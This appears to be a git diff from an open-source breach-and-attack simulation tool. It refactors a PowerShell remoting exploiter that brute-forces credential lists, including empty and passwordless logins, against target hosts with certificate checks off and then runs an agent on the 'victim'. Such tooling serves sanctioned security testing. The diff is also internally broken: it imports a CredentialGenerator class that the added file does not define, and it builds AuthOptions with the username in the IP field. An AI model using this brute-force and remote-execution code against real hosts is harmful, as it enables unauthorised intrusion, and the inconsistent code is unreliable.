diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile index 75d430e9e..5c63ff709 100644 --- a/monkey/infection_monkey/Pipfile +++ b/monkey/infection_monkey/Pipfile @@ -30,6 +30,7 @@ WMI = {version = "==1.5.1", sys_platform = "== 'win32'"} ScoutSuite = {git = "git://github.com/guardicode/ScoutSuite"} pyopenssl = "==19.0.0" # We can't build 32bit ubuntu12 binary with newer versions of pyopenssl pypsrp = "*" +typing-extensions = "*" [dev-packages] diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock index 7fa4d4807..53ff20a64 100644 --- a/monkey/infection_monkey/Pipfile.lock +++ b/monkey/infection_monkey/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "60705d888d53c68aebc3a324b4f22e472f35ed152c2e506d475fe639feb7e359" + "sha256": "96a125018d143a7446fe9b2849991c00d79f37c433694db77e616c1135baeaf9" }, "pipfile-spec": 6, "requires": { @@ -69,19 +69,19 @@ }, "boto3": { "hashes": [ - "sha256:7209b79833bdf13753aa24f76bf533890ffed2cc4fe1fe08619d223c209bbd11", - "sha256:f46c93d09acd4d4bfc6b9522ed852fecbdc508e0365f29ddfb3c146aae784b4e" + "sha256:461f659c06f9f56693cebbca70b11866f096021eafbd949a3c029c3a8adee6a4", + "sha256:596d2afda27ae3d9a10112a475aa25c4d6b5cf023919e370ad8e6c6ae04d57a6" ], "markers": "python_version >= '3.6'", - "version": "==1.18.27" + "version": "==1.18.33" }, "botocore": { "hashes": [ - "sha256:8c99abd7093ab11ce8d09c68732aeeb6065a53d2fe371568452e99291817fff5", - "sha256:b9e2c90bad164d111c229102f58f995c28576e719dd116b446965e1b786f8fa5" + "sha256:204327b9a33e3ae5207ff9acdd7d3b6d1f99f5dc9165a4d843d6f1a566f3006c", + "sha256:b321b570a0da4c6280e737d817c8f740bce0ef914f564e1c27246c7ae76b4c31" ], "markers": "python_version >= '3.6'", - "version": "==1.21.27" + "version": "==1.21.33" }, "certifi": { "hashes": [ @@ -441,11 +441,11 @@ }, "minidump": { "hashes": [ - "sha256:7f341d62b5a6ea961d6230e35c2cb68c5b1d258403411b6e4c58aa0c317cf498", - "sha256:b9fe0a65cf42d60591807bb8b6d9357e92f6a46f2851befdbaf08894722d07ff" + "sha256:67b3327cb96e319633653a353c6281703772335dc84797d6fdce7daf0b3be077", + "sha256:fdd9eb4566b6d3dabc205bf644ded724067bdbdb453eb418565261e5520b3537" ], "markers": "python_version >= '3.6'", - "version": "==0.0.18" + "version": "==0.0.19" }, "minikerberos": { "hashes": [ @@ -969,12 +969,12 @@ }, "typing-extensions": { "hashes": [ - "sha256:0ac0f89795dd19de6b97debb0c6af1c70987fd80a2d62d1958f7e56fcc31b497", - "sha256:50b6f157849174217d0656f99dc82fe932884fb250826c18350e159ec6cdf342", - "sha256:779383f6086d90c99ae41cf0ff39aac8a7937a9283ce0a414e5dd782f4c94a84" + "sha256:49f75d16ff11f1cd258e1b988ccff82a3ca5570217d7ad8c5f48205dd99a677e", + "sha256:d8226d10bc02a29bcc81df19a26e56a9647f8b0a6d4a83924139f4a8b01f17b7", + "sha256:f1d25edafde516b146ecd0613dabcc61409817af4766fbbcfb8d1ad4ec441a34" ], - "markers": "python_version < '3.8'", - "version": "==3.10.0.0" + "index": "pypi", + "version": "==3.10.0.2" }, "urllib3": { "hashes": [ diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index f109724da..8a6aa9927 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -4,7 +4,7 @@ from typing import Optional, Union import pypsrp import spnego -from pypsrp.client import Client +from pypsrp.exceptions import AuthenticationError from pypsrp.powershell import PowerShell, RunspacePool from urllib3 import connectionpool @@ -13,6 +13,12 @@ from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.powershell_utils import utils +from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions +from infection_monkey.exploit.powershell_utils.credential_generator import CredentialGenerator +from infection_monkey.exploit.powershell_utils.utils import ( + IClient, + get_client_based_on_auth_options, +) from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os from infection_monkey.model import GET_ARCH_WINDOWS, VictimHost from infection_monkey.utils.environment import is_windows_os @@ -41,49 +47,79 @@ class PowerShellExploiter(HostExploiter): logging.getLogger(package.__name__).setLevel(logging.ERROR) def _exploit_host(self): - self.client = self._authenticate_via_brute_force() + is_https = self._is_client_using_https() + credentials = CredentialGenerator( + self.host.ip_addr, + self._config.exploit_user_list, + self._config.exploit_password_list, + is_windows_os(), + ).get_credentials(is_https=is_https) + + self.client = self._authenticate_via_brute_force(credentials) if not self.client: return False return self._execute_monkey_agent_on_victim() - def _authenticate_via_brute_force(self) -> Optional[Client]: - credentials = utils.get_credentials( - self._config.exploit_user_list, self._config.exploit_password_list, is_windows_os() - ) + def _is_client_using_https(self) -> bool: + try: + self._try_http() + return False + except AuthenticationError: + return False + except Exception: + pass - for username, password in credentials: + try: + self._try_https() + return True + except AuthenticationError: + return True + except Exception: + raise Exception("Powershell remoting seems to be disabled.") + + def _try_http(self): + auth_options_http = AuthOptions( + ip_addr=self.host.ip_addr, + username=self._config.exploit_user_list[0], + password=self._config.exploit_password_list[0], + is_https=False, + ) + self._authenticate(auth_options_http) + + def _try_https(self): + auth_options_http = AuthOptions( + ip_addr=self.host.ip_addr, + username=self._config.exploit_user_list[0], + password=self._config.exploit_password_list[0], + is_https=True, + ) + self._authenticate(auth_options_http) + + def _authenticate_via_brute_force(self, credentials: [AuthOptions]) -> Optional[IClient]: + for credential in credentials: try: - client = self._authenticate(username, password) + client = PowerShellExploiter._authenticate(credential) LOG.info( f"Successfully logged into {self.host.ip_addr} using Powershell. User: " - f"{username}" + f"{credential.username}" ) - self.report_login_attempt(True, username, password) + self.report_login_attempt(True, credential.username, credential.password) return client except Exception as ex: # noqa: F841 LOG.debug( f"Error logging into {self.host.ip_addr} using Powershell. User: " - f"{username}, Error: {ex}" + f"{credential.username}, Error: {ex}" ) - self.report_login_attempt(False, username, password) + self.report_login_attempt(False, credential.username, credential.password) return None - def _authenticate(self, username: Optional[str], password: Optional[str]) -> Client: - (ssl, auth, encryption) = utils.get_powershell_client_params(password) - client = Client( - self.host.ip_addr, - username=username, - password=password, - cert_validation=False, - ssl=ssl, - auth=auth, - encryption=encryption, - connection_timeout=3, - ) + @staticmethod + def _authenticate(auth_options: AuthOptions) -> IClient: + client = get_client_based_on_auth_options(auth_options) # attempt to execute dir command to know if authentication was successful client.execute_cmd("dir") diff --git a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py new file mode 100644 index 000000000..2ffd16848 --- /dev/null +++ b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py @@ -0,0 +1,10 @@ +from dataclasses import dataclass +from typing import Union + + +@dataclass +class AuthOptions: + ip_addr: str + username: Union[str, None] + password: Union[str, None] + is_https: bool diff --git a/monkey/infection_monkey/exploit/powershell_utils/credential_generation.py b/monkey/infection_monkey/exploit/powershell_utils/credential_generation.py new file mode 100644 index 000000000..a376555ca --- /dev/null +++ b/monkey/infection_monkey/exploit/powershell_utils/credential_generation.py @@ -0,0 +1,46 @@ +from itertools import product +from typing import List + +from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions + + +def get_credentials( + usernames: List[str], passwords: List[str], is_windows: bool, is_https: bool +) -> List[AuthOptions]: + credentials = [] + credentials.extend(_get_empty_credentials(is_windows)) + credentials.extend(_get_username_only_credentials(usernames, is_windows)) + credentials.extend(_get_username_password_credentials(usernames, passwords, is_https=is_https)) + + return credentials + + +def _get_empty_credentials(is_windows: bool) -> List[AuthOptions]: + if is_windows: + return [AuthOptions(username=None, password=None, is_https=False)] + + return [] + + +def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> List[AuthOptions]: + credentials = [ + AuthOptions(username=username, password="", is_https=False) for username in usernames + ] + + if is_windows: + credentials.extend( + [AuthOptions(username=username, password=None, is_https=True) for username in usernames] + ) + + return credentials + + +def _get_username_password_credentials( + usernames: List[str], passwords: List[str], is_https: bool +) -> List[AuthOptions]: + username_password_pairs = product(usernames, passwords) + + return [ + AuthOptions(credentials[0], credentials[1], is_https=is_https) + for credentials in username_password_pairs + ] diff --git a/monkey/infection_monkey/exploit/powershell_utils/utils.py b/monkey/infection_monkey/exploit/powershell_utils/utils.py index 1da859fe9..d426cc6f9 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/utils.py +++ b/monkey/infection_monkey/exploit/powershell_utils/utils.py @@ -1,63 +1,10 @@ -from itertools import product -from typing import List, Optional, Tuple +from pypsrp.client import Client +from typing_extensions import Protocol +from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost from infection_monkey.utils.commands import build_monkey_commandline -AUTH_BASIC = "basic" -AUTH_NEGOTIATE = "negotiate" -ENCRYPTION_AUTO = "auto" -ENCRYPTION_NEVER = "never" - - -def get_credentials( - usernames: List[str], passwords: List[str], is_windows: bool -) -> List[Tuple[Optional[str], Optional[str]]]: - # When username or password is None, this instructs the powershell client to attempt to use - # The current user's credentials. This is only valid if the client is running from a Windows - # machine. - - credentials = [] - credentials.extend(_get_empty_credentials(is_windows)) - credentials.extend(_get_username_only_credentials(usernames, is_windows)) - credentials.extend(_get_username_password_credentials(usernames, passwords)) - - return credentials - - -def _get_empty_credentials(is_windows: bool) -> List[Tuple[None, None]]: - if is_windows: - return [(None, None)] - - return [] - - -def _get_username_only_credentials( - usernames: List[str], is_windows: bool -) -> List[Tuple[str, Optional[str]]]: - credentials = [(username, "") for username in usernames] - - if is_windows: - credentials.extend([(username, None) for username in usernames]) - - return credentials - - -def _get_username_password_credentials( - usernames: List[str], passwords: List[str] -) -> List[Tuple[str, str]]: - username_password_pairs = product(usernames, passwords) - - return [credentials for credentials in username_password_pairs] - - -def get_powershell_client_params(password: str) -> Tuple[bool, str, str]: - ssl = password != "" - auth = AUTH_NEGOTIATE if password != "" else AUTH_BASIC - encryption = ENCRYPTION_AUTO if password != "" else ENCRYPTION_NEVER - - return (ssl, auth, encryption) - def build_monkey_execution_command(host: VictimHost, depth: int, executable_path: str) -> str: monkey_params = build_monkey_commandline( @@ -72,3 +19,38 @@ def build_monkey_execution_command(host: VictimHost, depth: int, executable_path "monkey_type": DROPPER_ARG, "parameters": monkey_params, } + + +AUTH_BASIC = "basic" +AUTH_NEGOTIATE = "negotiate" +ENCRYPTION_AUTO = "auto" +ENCRYPTION_NEVER = "never" + +CONNECTION_TIMEOUT = 3 # Seconds + + +class IClient(Protocol): + def execute_cmd(self, cmd: str): + pass + + +def get_client_based_on_auth_options(auth_options: AuthOptions) -> IClient: + + # Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER + if auth_options.password == "": + ssl = False + else: + ssl = auth_options.is_https + auth = AUTH_NEGOTIATE if auth_options.password != "" else AUTH_BASIC + encryption = ENCRYPTION_AUTO if auth_options.password != "" else ENCRYPTION_NEVER + + return Client( + auth_options.ip_addr, + username=auth_options.username, + password=auth_options.password, + cert_validation=False, + ssl=ssl, + auth=auth, + encryption=encryption, + connection_timeout=CONNECTION_TIMEOUT, + )